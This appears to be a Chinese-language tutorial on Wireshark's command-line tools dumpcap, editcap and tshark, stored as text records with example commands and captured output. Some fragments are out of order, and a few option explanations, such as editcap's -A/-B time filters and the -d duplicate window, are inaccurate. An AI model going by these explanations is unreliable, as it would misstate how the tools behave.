    {"text": "【实例A-21】 显示捕获包的统计信息，执行命令如下： C:\\Program Files\\Wireshark>dumpcap.exe -i 3 -S Interface Received Dropped \\Device\\NPF_{7C1335DB-4869-440B-9CE3-7689D391688E} 0 0 \\Device\\NPF_{ABE7186F-3137-49A2-B2E0-38D01CA4BFDB} 0 0 \\Device\\NPF_{4AECD8B9-4316-412D-8C57-CDB62AA3B71E} 0 0 \\Device\\NPF_{D8FBBDA6-9D9C-4F36-AE9A-913413B6C0F2} 0 0 \\Device\\NPF_{35118E3F-F700-4666-BDBE-F82CDD9B8FC2} 0 0 \\Device\\NPF_{ABE7186F-3137-49A2-B2E0-38D01CA4BFDB} 0 0 \\Device\\NPF_{4AECD8B9-4316-412D-8C57-CDB62AA3B71E} 1 0 \\Device\\NPF_{D8FBBDA6-9D9C-4F36-AE9A-913413B6C0F2} 0 0 \\Device\\NPF_{35118E3F-F700-4666-BDBE-F82CDD9B8FC2} 0 0 \\Device\\NPF_{6A05657F-CB6F-476C-B6A2-587D99E239D4} 0 0 \\Device\\NPF_{E3CEA0CC-1890-4030-9506-833493ECDD61} 0 0 \\Device\\NPF_{BFEEA6DB-143D-435E-8E66-F0D9C77A6F94} 0 0 \\Device\\NPF_{2EA12375-87A0-4D83-8F75-667DEB29C492} 30 0 \\Device\\NPF_{FBAE213A-5FCC-4882-8731-8066F9456665} 0 0 在以上输出信息中共包括3列信息，分别是Interface（接口名）、Received（接收的包）和Dropped（丢弃的包）。"},
    {"text": "未知 A.2.2 远程捕获 dumpcap工具可以远程捕获数据包。用于远程捕获数据包的选项及含义如下： ·-r：捕获RPCAP产生的数据。 ·-u：使用UDP传输数据。 ·-A<user>:<password>：指定RPCAP的认证信息。 ·-m<sampling type>：使用样例数据包，可以指定count:NUM和timer:NUM两种格式。其中，count:NUM表示捕获NUM个数据包；timer:NUM表示在NUM秒内捕获数据包。 【实例A-22】 远程捕获数据包，执行命令如下： C:\\Program Files\\Wireshark>dumpcap.exe -i 5-A root:daxueba -r 未知 A.2.3 自动停止捕获 使用dumpcap工具捕获数据包时，默认不会自动停止捕获。如果用户希望自动停止捕获的话，可以使用其选项进行设置。用于设置自动停止捕获的选项及含义如下： ·-c<packet count>：当捕获到指定的包数量后停止捕获。 ·-a<autostop cond>：设置自动停止捕获的方式。该选项可指定的参数值有duration:NUM、filesize:NUM、files:NUM和packets:NUM。其中，duration:NUM表示捕获时间为NUM秒后停止捕获；filesize:NUM表示捕获文件大小为NUM KB后停止捕获；files:NUM表示捕获NUM个文件后停止捕获；packets:NUM表示捕获NUM包数后停止捕获。 【实例A-23】 指定捕获20个包后停止捕获，执行命令如下： C:\\Program Files\\Wireshark>dumpcap.exe -i 5 -c 20 Capturing on '鏈 湴杩炴帴' File: C:\\Windows\\TEMP\\wireshark_鏈 湴杩炴帴_20190717104918_a03472.pcapng Packets captured: 20 #捕获的包数 Packets received/dropped on interface '鏈 湴杩炴帴': 20/0 (pcap:0/ dumpcap:0/flu shed:0/ps_ifdrop:0) (100.0%) 从输出的信息可以看到，捕获到20个包后已自动停止捕获。 【实例A-24】 设置捕获时间持续10秒后停止捕获，执行命令如下： C:\\Program Files\\Wireshark>dumpcap.exe -i 5 -a duration:10 Capturing on '鏈 湴杩炴帴' File: C:\\Windows\\TEMP\\wireshark_鏈 湴杩炴帴_20190717105221_a01492.pcapng Packets captured: 30 Packets received/dropped on interface '鏈 湴杩炴帴': 30/0 (pcap:0/ dumpcap:0/flu shed:0/ps_ifdrop:0) (100.0%) 【实例A-25】 捕获数据包文件，指定文件大小为8MB左右，并且只保留5个最新文件。执行命令如下： C:\\Program Files\\Wireshark>dumpcap.exe -i 5 -w output.pcapng -b filesize: 8096 -b files:5 未知 A.2.4 保存文件 当用户使用dumpcap工具捕获文件时，将自动保存到一个捕获文件中。为了方便用户查看其捕获文件，也可以手动指定保存位置。用于指定保存文件的选项及含义如下： ·-w<filename>：指定保存的文件名。 当用户在保存捕获文件时，还可以指定保存格式及保存方式等。 1.保存格式 当用户在保存捕获文件时，还可以指定保存格式。用于指定保存格式的选项及含义如下： ·-n：使用pcapng格式。pcapng是默认格式。 ·-p：使用libpcap格式。 【实例A-26】 指定将捕获文件保存到test文件中，并指定捕获文件格式为libpcap格式。执行命令如下： C:\\Program Files\\Wireshark>dumpcap.exe -i 5 -w test -p 2.分组保存 用户还可以设置分组保存到一个文件中。分组保存的选项及含义如下： ·-g：设置分组保存输出文件。 【实例A-27】 设置将所有分组保存到test文件中，执行命令如下： C:\\Program Files\\Wireshark>dumpcap.exe -i 5 -g -w test 3.环形保存 用户还可以设置环形保存。用于环形保存的选项及含义如下： ·-b<ringbuffer opt.>：指定环形保存方式。该选项可以指定的参数有duration:NUM、interval:NUM、filesize:NU、files:NUM和packets:NUM。其中，duration:NUM表示NUM秒后开始捕获下一个文件；interval:NUM表示指定时间间隔；filesize:NUM表示NUM kB后开始捕获下一个文件；files:NUM表示环形缓存NUM个文件；packets:NUM表示环形缓存NUM个包。 【实例A-28】 指定使用环形保存方式，当持续10秒后开始捕获新的文件，并指定分组文件名为test.pcapng。执行命令如下： C:\\Program Files\\Wireshark>dumpcap.exe -i 5 -b duration:10 -g -w test.pcapng Capturing on '鏈 湴杩炴帴' File: test_00001_20190717160042.pcapng Packets: 81 File: test_00002_20190717160048.pcapng Packets: 172 File: test_00003_20190717160053.pcapng Packets: 189 File: test_00004_20190717160058.pcapng Packets captured: 282 从输出的信息可以看到缓存保存的文件，其捕获文件名分别为test_0000X，目前已经生成了4个环形文件。 4.添加注释 用户在捕获文件时还可以添加注释。用于添加注释的选项及含义如下： ·--capture-comment<comment>：添加一个捕获注释到输出文件中，仅支持pcapng格式。 【实例A-29】 为捕获文件添加一个注释信息TCP Packets，执行命令如下： C:\\Program Files\\Wireshark>dumpcap.exe -i 5 -f tcp -n -g -w test.pcapng --capture-comment \"TCP Packets\" 5.杂项 除了前面的一些选项外，还有一些杂项可以设置缓存的最大分组数、缓存大小和版本信息等。这些杂项及含义如下： ·-N<packet_limit>：设置缓存最大分组数。当达到一定数量后就向文件写入一次。 ·-C<byte_limit>：设置缓存大小。 ·-v：显示版本信息。 ·-h：显示帮助信息。"},
    {"text": "未知 A.3 编辑捕获文件editcap editcap是一个捕获文件编辑工具，可以对捕获文件的信息进行修改。例如，用户可以移除指定数据包、去除重复数据包、修正时间和合并文件等。本节将介绍editcap工具的使用方法。 未知 2.2.2 捕获管道接口数据 当用户在Wireshark中添加管道接口后，则可以使用该管道接口来捕获数据包。下面将介绍捕获管道接口的数据包的步骤。 【实例2-6】 使用前面添加的管道，远程捕获数据包。具体操作步骤如下： （1）在“捕获接口”对话框中选择新添加的管道接口/tmp/sharkfin，如图2.23所示。 图2.23 选择管道接口 （2）单击“开始”按钮，将使用管道接口远程捕获数据包，如图2.24所示。 图2.24 使用管道接口捕获数据包 （3）从图2.24中可以看到目前没有捕获到任何数据包。这是由于没有任何数据被输出到管道接口。此时，用户需要通过执行远程捕获数据包的命令，将捕获的数据包输出到管道接口/tmp/sharkfin。例如，这里使用ssh命令远程连接到目标主机，并使用dumpcap命令来捕获数据包。语法格式如下： sh user@remote-host \"dumpcap -P -w - -f 'not tcp port 22'\" > /tmp/sharkfin 本例中远程服务器的地址为192.168.80.129。所以，执行命令如下所示： root@daxueba:~# ssh root@192.168.80.129 \"dumpcap -P -w - -f 'not tcp port 22'\" > /tmp/sharkfin The authenticity of host '192.168.80.129 (192.168.80.129)' can't be established. ECDSA key fingerprint is SHA256:kJKvriwMu6hXwUjto2K49RyQskmtcS3gVJ459 RfEegc. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.80.129' (ECDSA) to the list of known hosts. root@192.168.80.129's password: #root用户的密码 Capturing on 'eth0' #正在捕获接口eth0的包 File: Packets captured: 118 #捕获的包数 （4）看到以上输出信息，则表示成功捕获到数据包。此时，返回到Wireshark界面即可看到正在捕获远程主机的数据包，如图2.25所示。 图2.25 正在捕获数据包 （5）从中可以看到，成功使用管道接口捕获到了远程主机的数据包。 未知 A.3.1 基本语法 editcap工具的基本语法格式如下： editcap [options] ... <infile> <outfile> [ <packet#>[-<packet#>] ... ] 以上语法中，[options]用来指定可用的选项；<infile>用来指定编辑的文件；<outfile>用来指定输出文件；<pcaket#>用来指定编辑的分组数，可以指定单个分组、分组范围或多个范围等，分组范围之间使用连字符（-）分隔，多个范围之间使用空格。基本的选项及含义如下： ·-F<capture type>：设置输出文件类型，默认是pcapng。用户只需输入-F选项，即可查看文件类型列表。 ·-T<encap type>：设置封装类型，默认和输入文件类型相同。用户只需输入-T选项，即可查看封装类型列表。 【实例A-30】 查看文件类型列表，执行命令如下： C:\\Program Files\\Wireshark>editcap.exe -F editcap: The available capture file types for the \"-F\" flag are: 5views - InfoVista 5View capture btsnoop - Symbian OS btsnoop commview - TamoSoft CommView dct2000 - Catapult DCT2000 trace (.out format) erf - Endace ERF capture eyesdn - EyeSDN USB S0/E1 ISDN trace format k12text - K12 text file lanalyzer - Novell LANalyzer logcat - Android Logcat Binary format logcat-brief - Android Logcat Brief text format logcat-long - Android Logcat Long text format logcat-process - Android Logcat Process text format logcat-tag - Android Logcat Tag text format logcat-thread - Android Logcat Thread text format logcat-threadtime - Android Logcat Threadtime text format logcat-time - Android Logcat Time text format modpcap - Modified tcpdump - pcap netmon1 - Microsoft NetMon 1.x netmon2 - Microsoft NetMon 2.x nettl - HP-UX nettl trace ngsniffer - Sniffer (DOS) ngwsniffer_1_1 - NetXray, Sniffer (Windows) 1.1 ngwsniffer_2_0 - Sniffer (Windows) 2.00x niobserver - Network Instruments Observer nokiapcap - Nokia tcpdump - pcap nsecpcap - Wireshark/tcpdump/... - nanosecond pcap nstrace10 - NetScaler Trace (Version 1.0) nstrace20 - NetScaler Trace (Version 2.0) nstrace30 - NetScaler Trace (Version 3.0) nstrace35 - NetScaler Trace (Version 3.5) pcap - Wireshark/tcpdump/... - pcap pcapng - Wireshark/... - pcapng rf5 - Tektronix K12xx 32-bit .rf5 format rh6_1pcap - RedHat 6.1 tcpdump - pcap snoop - Sun snoop suse6_3pcap - SuSE 6.3 tcpdump - pcap visual - Visual Networks traffic capture 从以上输出信息可以看到editcap支持的所有文件类型列表。"},
    {"text": "未知 A.3.2 移除指定的数据包 如果用户不需要某个数据包时，可以将其移除。下面将介绍移除指定数据包的方法。 1.基于编号 editcap工具支持基于编号和基于时间来移除指定的数据包。其中，基于编号移除数据包的选项及含义如下： ·-r：保留选中的包，默认将删除它们。 【实例A-31】 编辑捕获文件test.pcapng，指定保留编号1～100的数据包，并输出到output.pcapng捕获文件中。执行命令如下： C:\\Program Files\\Wireshark>editcap.exe -r test.pcapng output.pcapng 1-100 执行以上命令后将不会输出信息。此时，打开output.pcapng捕获文件可以看到，仅保存了100个数据包。 【实例A-32】 删除捕获文件中的编号281包，执行命令如下： C:\\Program Files\\Wireshark>editcap.exe test.pcapng output.pcapng 281 【实例A-33】 删除捕获文件中多个分组范围的包，执行命令如下： C:\\Program Files\\Wireshark>editcap.exe test.pcapng output.pcapng 1 5 10-20 30-40 2.基于时间 基于时间移除指定的数据包，各选项及含义如下： ·-A<start time>：移除指定起始时间后的数据包。其中，时间格式为YYYY-MM-DD hh:mm:ss。 ·-B<stop time>：移除指定终止时间前的数据包。其中，时间格式为YYYY-MM-DD hh:mm:ss。 【实例A-34】 基于时间移除指定的数据包，执行命令如下： C:\\Program Files\\Wireshark>editcap.exe -A \"2019-07-17 16:07:57\" -B \"2019-07-17 16:07:59\" test.pcapng output.pcapng 未知 A.3.3 去除重复的数据包 editcap工具可以用来去除重复的数据包。下面将介绍去除重复数据包的方法。 1.预先处理 在去除重复的数据包之前，用户可以进行预处理，以检测重复的包。预先处理的选项及含义如下： ·--novlan：检测重复的包，并从包中移除vlan信息。 【实例A-35】 检测test.pcapng捕获文件中重复的包，并从包中移除vlan信息，执行命令如下： C:\\Program Files\\Wireshark>editcap.exe --novlan test.pcapng output.pcapng 2.移除重复的包 当用户对捕获文件进行预先处理后，即可去除重复的数据包。用于去除重复数据包的选项及含义如下： ·-d：移除window==5的重复包。 ·-D<dup window>：移除<dup window>重复的包。其中，<dup window>的值范围为0～1000000。 ·-w<dup time window>：移除<dup time window>重复的包。 ·--skip-radiotap-header：检测重复包时，忽略radiotap头。 【实例A-36】 移除窗口等于5的数据包，执行命令如下： C:\\Program Files\\Wireshark>editcap.exe -d test.pcapng output.pcapng 323 packets seen, 0 packets skipped with duplicate window of 5 packets. 从输出的信息可以看到，捕获文件中共有323个数据包，其中，窗口等于5的包数为0，因此没有移除任何数据包。 未知 A.3.4 修正时间 用户还可以使用editcap工具修正捕获文件的时间。用于修正时间的选项及含义如下： ·-t<time adjustment>：调整时间戳信息。其中，指定的时间戳使用相对秒数，如-0.5。 ·-S<strict adjustment>：设置精确调整时间。其中，指定的时间范围为0～0.000001。如果设置值为-0，则所有包将为第一个数据包的时间戳。 【实例A-37】 调整每个数据包的时间戳为3.0827，执行命令如下： C:\\Program Files\\Wireshark>editcap.exe -t 3.0827 test.pcapng output.pcapng 未知 A.3.5 截断存储 用户可以为捕获文件设置截断存储。用于截断存储的选项及含义如下： ·-s<snaplen>：将数据包截断成长度为<snaplen>的数据包。 ·-C[offset:]<choplen>：设置偏移位置。 ·-L：重新设置帧长度。 【实例A-38】 设置偏移位置为12:4，并重新设置帧的长度。执行命令如下： C:\\Program Files\\Wireshark>editcap.exe -L -C 12:4 test.pcapng output. pcapng 【实例A-39】 将数据包截断为64字节长度且转化为snoop格式，执行命令如下： C:\\Program Files\\Wireshark>editcap.exe -s 64 -F snoop test.pcapng output. pcapng 未知 A.3.6 随机修改 editcap工具还可以设置随机修改包的概率。用于随机修改数据包的选项及含义如下： ·-E<error probability>：设置随机修改包的概率，范围在0.0～1.0之间。 【实例A-40】 随机修改数据包的概率为5%，执行命令如下： C:\\Program Files\\Wireshark>editcap.exe -E 0.05 test.pcapng output.pcapng 未知 A.3.7 合并文件 用户还可以合并一些文件。用于合并文件的选项及含义如下： ·-o<change offset>：当结合-E选项使用时合并跳过的包数。 ·--seed<seed>：当结合-E选项使用时，为伪随机生成器设置随机数。 【实例A-41】 设置随机数为10，执行命令如下： C:\\Program Files\\Wireshark>editcap.exe --seed 10 test.pcapng output.pcapng 未知 A.3.8 修改注释 如果捕获文件中添加了注释，用户可以使用editcap修改其注释。如果没有注释的话，将添加新的注释。用于修改注释的选项及含义如下： ·-a<framenum>:<comment>：添加或替换指定包的注释。 【实例A-42】 为分组1和2添加注释，执行命令如下： C:\\Program Files\\Wireshark>editcap.exe -a \"1:1st frame\" -a \"2:Second\" test. pcapng output.pcapng"},
    {"text": "未知 A.3.9 文件集合 用户可以将输出文件存放到多个文件中。用于设置文件集合的选项及含义如下： ·-c<packets per file>：按照包数进行多个文件存放。 ·-i<seconds per file>：按照时间进行多个文件存放。 【实例A-43】 指定每100个包保存为1个文件，执行命令如下： C:\\Program Files\\Wireshark>editcap.exe -c 100 test.pcapng output.pcapng 执行以上命令后不会输出任何信息。此时将会发现生成了多个文件，文件名格式为output_0000X_时间.pcapng，每个文件中将包括100个分组。 未知 A.3.10 修改密钥 用户可以为捕获文件添加或移除密钥。用于修改密钥的选项及含义如下： ·--inject-secrets<type>,<file>：添加解密密钥。用户可以使用--inject-secrets help选项查看支持的加密类型。 ·--discard-all-secrets：移除已有的解密密钥。 【实例A-44】 添加解密密钥，执行命令如下： C:\\Program Files\\Wireshark>editcap.exe --inject-secrets tls,pass.txt test. pcapng output.pcapng 提示： 在Wireshark 3.0之前的版本中，不支持--inject-secrets<type>,<file>和--discard-all-secrets选项。 未知 2.3 远程捕获数据包 Wireshark工具还提供了一个远程接口捕获功能，可以用来捕获远程主机的数据包。本节将介绍远程捕获数据包的方法。 未知 A.3.11 杂项 除了前面的大量选项外，editcap还提供了几个杂项，可以查看帮助信息和冗余信息等。这些杂项及含义如下： ·-I<bytes to ignore>：计算MD5哈希值时跳过的字节数。 ·-h：显示帮助信息。 ·-v：显示冗余信息。 【实例A-45】 显示数据包的冗余信息，执行命令如下： C:\\Program Files\\Wireshark>editcap.exe -D 0 -v test.pcapng output.pcapng File test.pcapng is a Wireshark/... - pcapng capture file. Packet: 1, Len: 87, MD5 Hash: 3d478c142dd9f34277e2e75f1d4c0a50 Packet: 2, Len: 91, MD5 Hash: ab0d437d91ef3a674afc151d4bda8812 Packet: 3, Len: 87, MD5 Hash: 97c96a96b61b8a1b66d94e60234ba4b5 Packet: 4, Len: 91, MD5 Hash: 985eb128697265dfd5402f16f80cba01 Packet: 5, Len: 132, MD5 Hash: 1eb35d58d185aa8bb5ea6dd318defa70 Packet: 6, Len: 132, MD5 Hash: 0c73616f7684011146d391026bbc518a Packet: 7, Len: 132, MD5 Hash: 766fd92ada5aa63840b4aa6c4a838371 Packet: 8, Len: 147, MD5 Hash: 89f667345c5e481f9332baf4a8ad7a0b Packet: 9, Len: 175, MD5 Hash: f2b1c41e50f73eee2e8b81f0a0990bbd Packet: 10, Len: 110, MD5 Hash: c67f9f7d512f5e3ac2b8b84dc4891a73 Packet: 11, Len: 75, MD5 Hash: 9ef248bfae3fb117f2eb700fc15b4cad …… 从输出的信息可以看到显示的每个包的长度及MD5哈希值。 未知 A.4 数据包分析工具tshark tshark工具主要用于命令行环境进行抓包和分析，可以说是命令行版的Wireshark。tshark和dumpcap都是命令行抓包工具，但是tshark底层使用的为dumpcap，所以tshark的功能相对强大一些，性能上则弱于dumpcap。本节将介绍tshark工具的使用方法。"},
    {"text": "未知 A.4.1 捕获数据 tshark工具的语法格式如下： tshark [options] tshark工具提供了许多个选项，可以分为7类，分别为捕获数据、自动停止捕获、远程捕获、处理方式、保存文件、输出信息和杂项。"},
    {"text": "【实例A-46】 查看可用的网络接口，执行命令如下： C:\\Program Files\\Wireshark>tshark.exe -D 1. \\Device\\NPF_NdisWanIp (NdisWan Adapter) 2. \\Device\\NPF_NdisWanBh (NdisWan Adapter) 3. \\Device\\NPF_{AB49543D-F02E-436E-97FC-C4D486608AB3} (鏈 湴杩炴帴 3) 4. \\Device\\NPF_{4C7D8D73-69E7-4FB7-B091-4A46D86428A4} (VMware Network Adapter VMnet1) 5. \\Device\\NPF_{484A3511-C320-4F5A-8925-5B524612CBA4} (鏈 湴杩炴帴) 6. \\Device\\NPF_NdisWanIpv6 (NdisWan Adapter) 7. \\Device\\NPF_{EFE64B9B-4CCC-49E9-8930-98E288F7F022} (VMware Network Adapter VMnet8) 8. \\Device\\NPF_{7F2FF185-9489-46D9-A81E-511661A45275} (Npcap Loopback Adapter) 从输出的信息可以看到，已经成功列出了当前主机中的所有网络接口。"},
    {"text": "【实例A-47】 指定使用ID号为5的网络接口捕获数据包，执行命令如下： C:\\Program Files\\Wireshark>tshark.exe -i 5 Capturing on '鏈 湴杩炴帴' 1 0.000000 192.168.80.130 → 101.227.22.12 UDP 133 20455 → 17788 Len=91 2 0.000348 192.168.80.130 → 101.227.22.36 UDP 138 20455 → 17788 Len=96 3 0.337897 192.168.80.1 → 239.255.255.250 SSDP 179 M-SEARCH * HTTP/1.1 4 1.013737 192.168.80.130 → 101.227.201.49 UDP 132 20455 → 17788 Len=90 5 1.119700 192.168.80.1 → 239.255.255.250 SSDP 177 M-SEARCH * HTTP/1.1 6 1.119701 192.168.80.1 → 239.255.255.250 SSDP 177 M-SEARCH * HTTP/1.1 7 3.041484 192.168.80.130 → 101.227.201.38 UDP 132 20455 → 17788 Len=90 8 3.338218 192.168.80.1 → 239.255.255.250 SSDP 179 M-SEARCH * HTTP/1.1 从输出的信息可以看到捕获到的数据包。"},
    {"text": "【实例A-48】 捕获TCP协议80端口的数据包，执行命令如下： C:\\Program Files\\Wireshark>tshark.exe -i 5 -f \"tcp port 80\" Capturing on '鏈 湴杩炴帴' 1 0.000000 192.168.80.130 → 42.236.37.113 TCP 1162 49910 → 80 [PSH, ACK] Seq=1 Ack=1 Win=63536 Len=1108 2 0.000177 42.236.37.113 → 192.168.80.130 TCP 60 80 → 49910 [ACK] Seq=1 Ack=1109 Win=64240 Len=0 3 0.040109 42.236.37.113 → 192.168.80.130 TCP 370 80 → 49910 [PSH, ACK] Seq=1 Ack=1109 Win=64240 Len=316 4 0.078669 192.168.80.130 → 42.236.37.113 TCP 402 49910 → 80 [PSH, ACK] Seq=1109 Ack=317 Win=63220 Len=348 5 0.078939 42.236.37.113 → 192.168.80.130 TCP 60 80 → 49910 [ACK] Seq=317 Ack=1457 Win=64240 Len=0 6 0.107661 42.236.37.113 → 192.168.80.130 TCP 106 80 → 49910 [PSH, ACK] Seq=317 Ack=1457 Win=64240 Len=52 7 0.206959 42.236.37.113 → 192.168.80.130 TCP 106 [TCP Retransmission] 80 → 49910 [PSH, ACK] Seq=317 Ack=1457 Wi 8 0.207048 192.168.80.130 → 42.236.37.113 TCP 54 49910 → 80 [ACK] Seq=1457 Ack=369 Win=63168 Len=0 9 1.102779 192.168.80.130 → 42.236.33.201 TCP 66 49990 → 80 [SYN] Seq=0 Win=8192 Len=0 MSS=1460 WS=256 SACK_PERM 10 1.126998 42.236.33.201 → 192.168.80.130 TCP 60 80 → 49990 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460 11 1.127145 192.168.80.130 → 42.236.33.201 TCP 54 49990 → 80 [ACK] Seq=1 Ack=1 Win=64240 Len=0 12 1.159259 192.168.80.130 → 42.236.33.201 HTTP 695 POST /commonquery HTTP/1.1 (application/x-www-form-urlencoded 13 1.159515 42.236.33.201 → 192.168.80.130 TCP 60 80 → 49990 [ACK] Seq=1 Ack=642 Win=64240 Len=0 14 1.184251 42.236.33.201 → 192.168.80.130 HTTP 434 HTTP/1.1 200 OK 从以上输出信息可以看到，捕获到的数据包协议都为TCP，而且源或目标端口都为80。"},
    {"text": "执行命令如下： C:\\Program Files\\Wireshark>tshark.exe -i 5 -s 64 4.捕获方式 用户在捕获数据包时，可以设置捕获方式，如是否使用混杂模式或监听模式。"},
    {"text": "【实例A-50】 捕获数据包并且不使用混杂模式，执行命令如下： C:\\Program Files\\Wireshark>tshark.exe -i 5 -p 5.性能优化 为了提高捕获包的效率，tshark可以进行性能优化。"},
    {"text": "未知 A.4.2 自动停止捕获 当用户使用tshark捕获数据包时，默认不会自动停止捕获。用户可以借助一些选项来设置自动停止捕获。这些选项及含义如下： ·-c<packet count>：指定捕获到N个包后，自动停止捕获。 ·-a<autostop cond>：指定停止捕获的条件，可使用的参数有duration:NUM、filesize:NUM和files:NUM。其中，duration:NUM表示捕获到NUM秒后自动停止捕获；filesize:NUM表示捕获文件达到NUM KB后停止捕获；files:NUM表示捕获到NUM个文件后停止捕获。 ·-b<ringbuffer opt.>：使用环形保存方式。该选项可指定的参数有duration:NUM、interval:NUM、filesize:NUM和files:NUM。其中，duration:NUM表示指定捕获NUM秒后，重新捕获下一个文件；interval:NUM用来指定时间间隔；filesize:NUM表示当捕获到NUM KB后，开始捕获下一个文件；files:NUM表示仅环形保存NUM个文件。 【实例A-52】 当捕获100个数据包后自动停止捕获，执行命令如下： C:\\Program Files\\Wireshark>tshark.exe -i 5 -c 100 未知 A.4.3 远程捕获 tshark工具也支持远程捕获。用于远程捕获数据包的选项及含义如下： ·-A<user>:<password>：使用远程抓包认证信息。 ·-r<infile|->：指定输入文件。也可以使用“-”符号，表示从标准输入读取。 【实例A-53】 使用tshark进行远程抓包，执行命令如下： C:\\Program Files\\Wireshark>tshark.exe -i 5 -A root:daxueba 【实例A-54】 过滤捕获文件tcp.pcap中的目标端口为TCP 80的数据包，并且将过滤出的数据包保存到http.pcap文件中。执行命令如下： C:\\Program Files\\Wireshark>tshark.exe -r tcp.pcapng -R \"tcp.dstport==80\" -w http.pcap 未知 A.4.4 处理方式 用户使用tshark捕获数据包时，可以设置对数据的处理方式，如是否启用名称解析、使用协议解析器等。下面将介绍这些数据包的处理方式。 1.名称解析 名称解析包括MAC地址解析、主机名解析、网络地址解析和服务器解析等。用户在捕获数据包时可以进行相关的设置。用于设置名称解析的选项及含义如下： ·-n：禁用所有名称解析，默认所有名称都是启用的。 ·-N<name resolve flags>：启用指定的名称解析。该选项参数是一个字符串，包括d、m、n、N、t和v。其中，d表示启用DNS包解析；m表示启用MAC地址解析；n表示启用网络地址解析；N表示使用外部解析器，如外部的DNS；t表示启用传输层端口号解析；v表示启用VLAN IDs名称解析。 ·-H<hosts file>：读取主机列表文件。 【实例A-55】 捕获数据包时禁止名称解析，执行命令如下： C:\\Program Files\\Wireshark>tshark.exe -i 5 -c 10 -n 2.设置协议解析器 用户在捕获数据包时可以设置协议解析器。该功能类似于Wireshark中的解码功能。用于设置协议解析器的选项及含义如下： ·-d<layer_type>==<selector>,<decode_as_protocol>：设置协议解析规则，指定端口为指定协议。用户通过使用“-d.”选项，即可获取协议解析器列表。 ·--enable-protocol<proto_name>：启用指定协议解析器。 ·--disable-protocol<proto_name>：禁用指定协议解析器。 ·--enable-heuristic<short_name>：启用启发式协议解析器。 ·--disable-heuristic<short_name>：禁用启发式协议解析器。 【实例A-56】 设置解码所有的TCP端口80的数据包，执行命令如下： C:\\Program Files\\Wireshark>tshark.exe -i 5 -c 10 -d tcp.port==80,http 3.其他方式 用户还可以使用其他的处理方式，如执行二阶分析或会话自动重置。这两种处理方式的选项及含义如下： ·-2：执行二阶分析。 ·-M<packet count>：会话自动重置。 【实例A-57】 设置当捕获5个数据包后会话将自动重置，执行命令如下： C:\\Program Files\\Wireshark>tshark.exe -i 5 -M 5 Capturing on '鏈 湴杩炴帴' 1 0.000000 183.186.173.88 → 192.168.80.130 UDP 75 24296 → 20455 Len=33 2 0.012997 192.168.80.130 → 183.186.173.88 UDP 1107 20455 → 24296 Len=1065 3 0.025218 183.186.173.88 → 192.168.80.130 UDP 75 24296 → 20455 Len=33 4 0.029917 192.168.80.130 → 183.186.173.88 UDP 1107 20455 → 24296 Len=1065 5 0.048901 183.186.173.88 → 192.168.80.130 UDP 75 24296 → 20455 Len=33 resetting session. #重置会话 1 0.060315 192.168.80.130 → 183.186.173.88 UDP 1107 20455 → 24296 Len=1065 2 0.080997 183.186.173.88 → 192.168.80.130 UDP 75 24296 → 20455 Len=33 3 0.090241 192.168.80.130 → 183.186.173.88 UDP 1107 20455 → 24296 Len=1065 4 0.105909 183.186.173.88 → 192.168.80.130 UDP 79 24296 → 20455 Len=37 5 0.122277 192.168.80.130 → 183.186.173.88 UDP 1107 20455 → 24296 Len=1065 从输出的信息可以看到，当捕获到5个数据包后，自动重置会话。"},
    {"text": "未知 A.4.5 保存文件 用户使用tshark捕获数据包时，默认进行标准输出。为了方便以后进行分析，可以将其保存到捕获文件中。用于保存文件的选项及含义如下： ·-w<outfile|->：指定保存的文件名。 ·-C<config profile>：使用指定的配置文件。 ·-F<output file type>：设置输出文件类型，默认为pcapng。如果用户只指定-F选项，将列出支持的文件类型列表。 【实例A-58】 将捕获到的数据包保存到output.pcapng捕获文件中，执行命令如下： C:\\Program Files\\Wireshark>tshark.exe -i 5 -w output.pcapng Capturing on '鏈 湴杩炴帴' 250 看到以上输出信息，表示正在捕获数据包。 1.补充信息 用户在保存文件时，还可以补充信息，如保存附加信息和注释等。用于补充信息的选项及含义如下： ·-W n：保存附加信息。其中，n表示网络地址解析信息。 ·--capture-comment<comment>：添加捕获注释信息，仅支持pcapng格式。 【实例A-59】 添加捕获注释信息并保存到捕获文件中，执行命令如下： C:\\Program Files\\Wireshark>tshark.exe -i 5 -c 10 -w output.pcapng --capture-comment \"test packets\" Capturing on '鏈 湴杩炴帴' 10 2.导出PDU数据 用户还可以导出PDU数据。导出PDU数据的选项及含义如下： ·-U tap_name：导出PDU数据单元。当用户输入一个空的tap name（\"\"），即可获取到有效的名称列表。 ·--export-objects<protocol>,<destdir>：设置导出指定协议的数据单元。用户执行--export-objects help命令，可以获取有效的名称列表。 【实例A-60】 获取tap name列表，执行命令如下： C:\\Program Files\\Wireshark>tshark.exe -U \"\" test.pcapng output.pcapng tshark: A tap name is required. Valid names are: tshark: DLT User tshark: DVB-CI tshark: Logcat tshark: Logcat Text tshark: OSI layer 3 tshark: OSI layer 4 tshark: OSI layer 7 从输出信息可以看到，获取到了一个有效的tap名称列表。其中，用户可以导出的数据层信息有DLT User、DVB-CI和Logcat等。"},
    {"text": "1.使用显示过滤器 显示过滤器用于对捕获文件中的数据进行显示过滤。 用于使用显示过滤器的选项及含义如下： ·-R<read filter>：使用显示过滤器读取数据包。"},
    {"text": "【实例A-61】 使用显示过滤器tcp.flags.reset==1，读取RST标志位数据包。 执行命令如下： C:\\Program Files\\Wireshark>tshark.exe -r tcp.pcapng -2 -R \"tcp.flags. reset==1\" 1 4.353090578 192.168.29.136 → 218.26.76.201 TCP 60 49552 → 443 [RST, ACK] Seq=2 Ack=86 Win=0 Len=0 2 4.353104381 192.168.29.136 → 218.26.76.201 TCP 60 49552 → 443 [RST] Seq=2 Win=0 Len=0 3 4.363971729 192.168.29.136 → 218.26.76.201 TCP 54 49552 → 443 [RST, ACK] Seq=2 Ack=86 Win=0 Len=0 4 4.364144203 192.168.29.136 → 218.26.76.201 TCP 54 49552 → 443 [RST] Seq=2 Win=0 Len=0 5 4.364764666 192.168.29.136 → 218.26.76.201 TCP 60 49551 → 443 [RST, ACK] Seq=2 Ack=86 Win=0 Len=0 从输出的信息可以看到，成功读取到了TCP的RST标志位数据包。"},
